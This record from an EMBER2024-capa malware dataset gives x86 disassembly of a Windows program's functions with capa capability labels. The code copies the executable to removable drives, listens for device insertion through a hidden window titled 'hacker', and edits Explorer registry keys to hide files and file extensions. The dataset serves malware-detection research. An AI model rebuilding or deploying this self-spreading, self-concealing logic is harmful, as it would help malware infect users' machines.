joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401030
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5ff620
mov eax, dword fs:[0]
push eax
sub esp, 0x34c
push ebx
push esi
push edi
lea edi, [ebp - 0x358]
mov ecx, 0xd3
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x670ed8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x30]
call fcn.00403ef0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x3c]
call fcn.00401e80
mov byte [ebp - 4], 1
push 0x614e18
lea ecx, [ebp - 0x3c]
call fcn.00401f70
mov byte [ebp - 0x148], 0
push 0x103
push 0
lea eax, [ebp - 0x147]
push eax
call fcn.005ce400
add esp, 0xc
mov byte [ebp - 0x254], 0
push 0x103
push 0
lea eax, [ebp - 0x253]
push eax
call fcn.005ce400
add esp, 0xc
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x260], eax
mov esi, esp
push 0x104
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x260]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, esp
call fcn.005ce360
mov esi, esp
mov eax, dword [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.005ce360
push 0
lea ecx, [ebp - 0x3c]
call fcn.00402260
push eax
lea ecx, [ebp - 0x30]
call fcn.004040a0
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
je 0x401257
lea ecx, [ebp - 0x30]
call fcn.00404720
mov dword [ebp - 0x26c], eax
lea ecx, [ebp - 0x30]
call fcn.00404680
test eax, eax
je 0x401167
jmp 0x40113e
lea ecx, [ebp - 0x30]
call fcn.004055e0
test eax, eax
je 0x401252
lea ecx, [ebp - 0x30]
call fcn.00405600
test eax, eax
jne 0x401252
lea ecx, [ebp - 0x30]
call fcn.00405620
test eax, eax
jne 0x401252
mov esi, esp
push 6
lea eax, [ebp - 0x344]
push eax
lea ecx, [ebp - 0x30]
call fcn.00404920
mov dword [ebp - 0x358], eax
mov ecx, dword [ebp - 0x358]
call fcn.00402260
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp esi, esp
call fcn.005ce360
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x34d], al
lea ecx, [ebp - 0x344]
call fcn.00401f30
movzx ecx, byte [ebp - 0x34d]
test ecx, ecx
je 0x4011f1
jmp 0x40113e
push str..exe
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x30]
call fcn.00404920
mov dword [ebp - 0x358], eax
mov ecx, dword [ebp - 0x358]
mov edx, dword [ecx]
push edx
push str._s_s
lea eax, [ebp - 0x254]
push eax
call fcn.005cdcc0
add esp, 0x10
lea ecx, [ebp - 0x338]
call fcn.00401f30
mov esi, esp
push 1
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x148]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp esi, esp
call fcn.005ce360
jmp 0x40113e
lea ecx, [ebp - 0x30]
call fcn.00403ff0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00401f30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.00403f80
push edx
mov ecx, ebp
push eax
lea edx, [0x4012b4]
call fcn.005ce390
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005ce350
add esp, 0x358
cmp ebp, esp
call fcn.005ce360
mov esp, ebp
pop ebp
ret
Function at 0x401320
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe8
push ebx
push esi
push edi
lea edi, [ebp - 0xe8]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401424
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x8000
je 0x40137a
jmp 0x401424
mov dword [ebp - 0x20], 0
jmp 0x40138c
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x28
jge 0x401424
mov eax, dword [ebp - 0x14]
and eax, 1
je 0x401417
mov eax, dword [ebp - 0x20]
add eax, 0x43
push eax
push 0x614e20
push 0x672444
call fcn.005cdcc0
add esp, 0xc
push 0x614e1c
push 0x672444
call fcn.005ce490
add esp, 8
mov esi, esp
push 0x672444
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp esi, esp
call fcn.005ce360
cmp eax, 2
jne 0x401417
mov esi, esp
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x672444
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp esi, esp
call fcn.005ce360
test eax, eax
je 0x401417
push 0x672444
call fcn.00401030
add esp, 4
jmp 0x401424
mov eax, dword [ebp - 0x14]
shr eax, 1
mov dword [ebp - 0x14], eax
jmp 0x401383
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0xe8
cmp ebp, esp
call fcn.005ce360
mov esp, ebp
pop ebp
ret
Function at 0x401500
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
push edi
lea edi, [ebp - 0x12c]
mov ecx, 0x4b
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], str.WebDown
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0x401440
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x30], 0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x2c], eax
mov esi, esp
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
cmp esi, esp
call fcn.005ce360
mov esi, esp
push 0
push 0
push 0
push 0
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0xcf0000
push str.hacker
mov eax, dword [ebp - 0x5c]
push eax
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x68], eax
mov esi, esp
push 0
mov eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp esi, esp
call fcn.005ce360
mov esi, esp
mov eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
cmp esi, esp
call fcn.005ce360
mov esi, esp
push 0
push 0
push 0x219
mov eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
cmp esi, esp
call fcn.005ce360
mov esi, esp
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
cmp esi, esp
call fcn.005ce360
test eax, eax
je 0x401644
mov esi, esp
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
cmp esi, esp
call fcn.005ce360
mov esi, esp
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp esi, esp
call fcn.005ce360
jmp 0x4015ff
mov eax, 1
push edx
mov ecx, ebp
push eax
lea edx, [0x401670]
call fcn.005ce390
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0x12c
cmp ebp, esp
call fcn.005ce360
mov esp, ebp
pop ebp
ret
Function at 0x4016a0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push ebx
push esi
push edi
lea edi, [ebp - 0x30c]
mov ecx, 0xc3
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x670ed8]
xor eax, ebp
mov dword [ebp - 4], eax
mov esi, esp
lea eax, [ebp - 0x18]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401706
mov esi, esp
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x30], 0x200
mov esi, esp
lea eax, [ebp - 0x248]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x30]
push ecx
lea edx, [ebp - 0x238]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401761
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.004016a0
add esp, 8
jmp 0x401714
mov esi, esp
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, esp
call fcn.005ce360
mov esi, esp
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0xc], eax
push edx
mov ecx, ebp
push eax
lea edx, [0x4017c0]
call fcn.005ce390
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005ce350
add esp, 0x30c
cmp ebp, esp
call fcn.005ce360
mov esp, ebp
pop ebp
ret
Function at 0x401820
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push ebx
push esi
push edi
lea edi, [ebp - 0x120]
mov ecx, 0x48
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
lea eax, [ebp - 8]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHidden
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x14], 0x614f34
mov esi, esp
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, esp
call fcn.005ce360
add eax, 1
mov esi, esp
push eax
mov ecx, dword [ebp - 0x14]
push ecx
push 1
push 0
push str.Text
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp esi, esp
call fcn.005ce360
mov esi, esp
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x20], str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenNOHIDDEN
mov dword [ebp - 0x2c], reloc.OLEAUT32.dll_SysReAllocString
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.004016a0
add esp, 8
mov dword [ebp - 0x38], str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL
mov dword [ebp - 0x44], reloc.OLEAUT32.dll_SysReAllocString
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call fcn.004016a0
add esp, 8
mov esi, esp
lea eax, [ebp - 0x50]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x5c], 1
mov esi, esp
push 4
lea eax, [ebp - 0x5c]
push eax
push 4
push 0
push str.HideFileExt
mov ecx, dword [ebp - 0x50]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp esi, esp
call fcn.005ce360
mov esi, esp
mov eax, dword [ebp - 0x50]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, esp
call fcn.005ce360
push edx
mov ecx, ebp
push eax
lea edx, [0x401968]
call fcn.005ce390
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0x120
cmp ebp, esp
call fcn.005ce360
mov esp, ebp
pop ebp
ret
Function at 0x402750
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
push ebx
push esi
push edi
lea edi, [ebp - 0xfc]
mov ecx, 0x3f
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x402795
xor eax, eax
jmp 0x402827
mov esi, esp
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4027b5
xor eax, eax
jmp 0x402827
mov esi, esp
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jbe 0x40280a
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x14]
jae 0x40280a
mov eax, dword [ebp - 8]
movzx ecx, word [eax]
mov edx, dword [ebp - 8]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x38]
sub eax, 1
mov dword [ebp - 0x38], eax
jmp 0x4027e1
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x14]
jb 0x402816
xor eax, eax
jmp 0x402827
mov eax, dword [ebp - 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x402824
xor eax, eax
jmp 0x402827
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
add esp, 0xfc
cmp ebp, esp
call fcn.005ce360
mov esp, ebp
pop ebp
ret

Function at 0x415490
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
call fcn.00432490
mov dword [ebp - 8], eax
push 5
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4154e8
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x415502
push 0x113
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcdlgcore.cpp
call fcn.0040a2d0
test eax, eax
je 0x415502
int3
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov ecx, dword [ebp - 0x18]
call fcn.00415540
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
push eax
call fcn.004153f0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8
Function at 0x418f60
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x20]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x418f90
push 0x477
push 0x619718
call fcn.0040a2d0
test eax, eax
je 0x418f90
int3
mov eax, dword [ebp - 8]
cmp dword [eax + 0x6c], 0
jne 0x418fd6
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x20]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, 1
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00405010
push eax
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x20]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, dword [ebp + 8]
call fcn.00405040
jmp 0x418ff0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x6c]
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx + 0x6c]
mov edx, dword [eax]
mov eax, dword [edx + 0x94]
call eax
mov esp, ebp
pop ebp
ret 4

Function at 0x419000
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x20]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x419030
push 0x48c
push 0x619718
call fcn.0040a2d0
test eax, eax
je 0x419030
int3
push 0x618528
mov ecx, dword [ebp + 0xc]
call fcn.00402330
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x68], 0
jne 0x419097
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x20]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x419095
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
add edx, 1
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
call fcn.00405010
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
call fcn.00405040
jmp 0x4190b8
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x10]
call fcn.00427e70
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4190b8
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0xc]
call fcn.00418f60
mov ecx, dword [ebp + 0xc]
call fcn.00402b20
mov esp, ebp
pop ebp
ret 8
Function at 0x420920
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
cmp dword [ebp + 8], 0
je 0x4209a5
call fcn.00432490
mov dword [ebp - 0x10], eax
push 0xf0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4209a5
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42097e
xor eax, eax
jmp 0x4209d6
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4209a5
push 0x117f
push 0x619718
call fcn.0040a2d0
test eax, eax
je 0x4209a5
int3
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x18]
call fcn.004209e0
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x4209d3
cmp dword [ebp - 0xc], 0
je 0x4209d3
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004153f0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 4

Function at 0x4282d0
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x60e1e8
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x670ed8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x20]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x428328
mov edx, dword [ebp - 0x18]
cmp dword [edx + 0x6c], 0
jne 0x428328
push 0x100
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcwinocc.cpp
call fcn.0040a2d0
test eax, eax
je 0x428328
int3
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 0x6c], 0
jne 0x42834a
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x20]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x4283ad
lea ecx, [ebp - 0x10]
call fcn.00404fa0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x6c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x6c]
mov edx, dword [edx]
mov eax, dword [edx + 0x94]
call eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call fcn.00402260
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004085d0
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.00401f30
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x42c5c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
and ecx, 1
je 0x42c5e1
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0xc]
mov dword [ebp - 8], eax
jmp 0x42c63c
push 5
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x42c605
call fcn.00431bb0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42c624
call fcn.00431bb0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x42c63c
call fcn.00431bb0
call fcn.0043b460
cmp dword [eax + 0x3c], 0
je 0x42c656
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
call fcn.0042c560
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0042c410
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x7c], 0
je 0x42c686
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x7c], 0
cmp dword [ebp - 4], 0
je 0x42c69b
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
mov dword [edx + 0x7c], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
or ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
mov esp, ebp
pop ebp
ret 8

Function at 0x439f10
Capabilities:
Delete registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0
je 0x439f98
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x439f58
push str.hAdvAPI32___0
push 0
push 0x28c
push str.f:dd_vctools_vc7libs_ship_atlmfcinclude_atltransactionmanager.h
push 2
call fcn.005ce580
add esp, 0x14
cmp eax, 1
jne 0x439f58
int3
cmp dword [ebp - 8], 0
jne 0x439f65
mov eax, 1
jmp 0x439fb6
push str.RegDeleteKeyTransactedA
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x439f96
push 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push ecx
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 4]
jmp 0x439fb6
jmp 0x439fb1
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + 4], 0
je 0x439fb1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x439fb6
mov eax, 1
mov esp, ebp
pop ebp
ret 8